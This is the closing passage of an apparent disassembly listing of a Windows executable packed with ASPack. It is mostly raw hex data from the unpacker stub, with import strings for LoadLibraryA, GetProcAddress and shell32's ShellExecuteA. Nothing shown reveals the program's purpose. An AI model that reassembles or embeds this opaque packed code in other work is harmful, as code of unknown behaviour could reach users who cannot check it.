54828900h, 89000002h, 25882h, 60BA8B00h dd 89000002h, 25C82h, 8BABF300h, 4E8AACAh, 5F000000h, 810008C2h dd 30CECh, 0D98B5300h, 6B8D5655h, 16A5704h, 29E8CD8Bh dd 85FFFFFCh, 8B0E75C0h, 260BBh, 0BDB900h, 0ABF30000h dd 6AF633AAh, 0E8CD8B04h, 0FFFFFC0Ch, 10344488h, 13FE8346h dd 0BB8DED72h, 1C0h, 1024448Dh, 0E8CF8B50h, 0FFFFFC80h dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 33C30000h, 0E8CF8BF6h dd 0FFFFFDE4h, 7310F883h, 608B8B15h, 8A000002h, 0D0023114h dd 880FE280h, 46243454h, 287560EBh, 0CD8B026Ah, 0FFFBB3E8h dd 3C083FFh, 4E7EC085h, 2F5FE81h, 527D0000h, 23344C8Ah dd 344C8848h, 0C0854624h, 36EBEA7Fh, 7511F883h, 8B036A0Eh dd 0FB86E8CDh, 0C083FFFFh, 6A0CEB03h, 0E8CD8B07h, 0FFFFFB78h dd 850BC083h, 81137EC0h, 2F5FEh, 0C6177D00h, 243444h, 0C0854846h dd 0FE81ED7Fh, 2F5h, 0FF738C0Fh, 548DFFFFh, 4B8D2424h dd 0D5E85210h, 84FFFFFBh, 5F0B75C0h, 815B5D5Eh, 30CC4h dd 848DC300h, 2F524h, 0A08B8D00h, 50000000h, 0FFFBB3E8h dd 75C084FFh, 5D5E5F0Bh, 0CC4815Bh, 0C3000003h, 11248C8Dh dd 51000003h, 1308B8Dh, 91E80000h, 84FFFFFBh, 5F0B75C0h dd 815B5D5Eh, 30CC4h, 83C6C300h, 264h, 80C03300h, 31104BCh dd 75030000h, 0F8834008h, 0EBF07208h, 6483C607h, 1000002h dd 260BB8Bh, 748D0000h, 0F5B92424h, 0F3000002h, 5D5E5FA4h dd 815B01B0h, 30CC4h, 1E8C300h, 90000000h, 0C7EE815Eh dd 0C3004445h, 8B14EC83h, 531C2444h, 0C75655h, 0 dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h dd 104E8D00h, 0FFFC83E8h, 1003DFFh, 13730000h, 1880E8Bh dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh dd 50000h, 8BFFFFFFh, 7E083E8h, 8D03EDC1h, 0F8830250h dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC36E800h dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh, 44401Eh dd 8F9835Eh, 4E8B3272h, 41118A04h, 18245488h, 8B044E89h dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh dd 8B90C56h, 2B000000h, 0D3FB03CFh, 18B9EAh, 7E890000h dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh dd 4002308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 3A35948Ah dd 5E004440h, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h dd 8F883FDh, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B1C24h, 4468908h, 1C24448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 7E8B0846h dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh dd 0FFFFFFh, 8E8DEFD3h, 130h, 0FFFB1BE8h, 8DC303FFh, 5BEBF81Ch dd 8087E83h, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B2024h, 4468908h, 2024448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 468B0856h dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh, 85000002h dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h dd 250968Bh, 4B8D0000h, 588689FDh, 89000002h, 25496h, 508E8900h dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF7h, 1C74C084h dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h, 0B05D5E5Fh dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 7 dup(0) dd 8, 77E7A5FDh, 77E79F93h, 77E805D8h, 0 aKernel32_dll_0 db 'kernel32.dll',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 align 4 aGetmodulehandl db 'GetModuleHandleA',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 3 dup(0) dd 2CF6Ch, 2CF5Ch, 3 dup(0) dd 2CFE8h, 2CFF4h, 5 dup(0) aShell32_dll_0 db 'shell32.dll',0 aClbw db '—‹Bw',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 3FDh dup(0) _aspack ends ; Section 6. (virtual address 0002E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0002E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _adata segment para public 'DATA' use32 assume cs:_adata ;org 42E000h dd 400h dup(0) _adata ends ; Section 7. (virtual address 0002F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0002F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 42F000h align 2000h _idata2 ends end start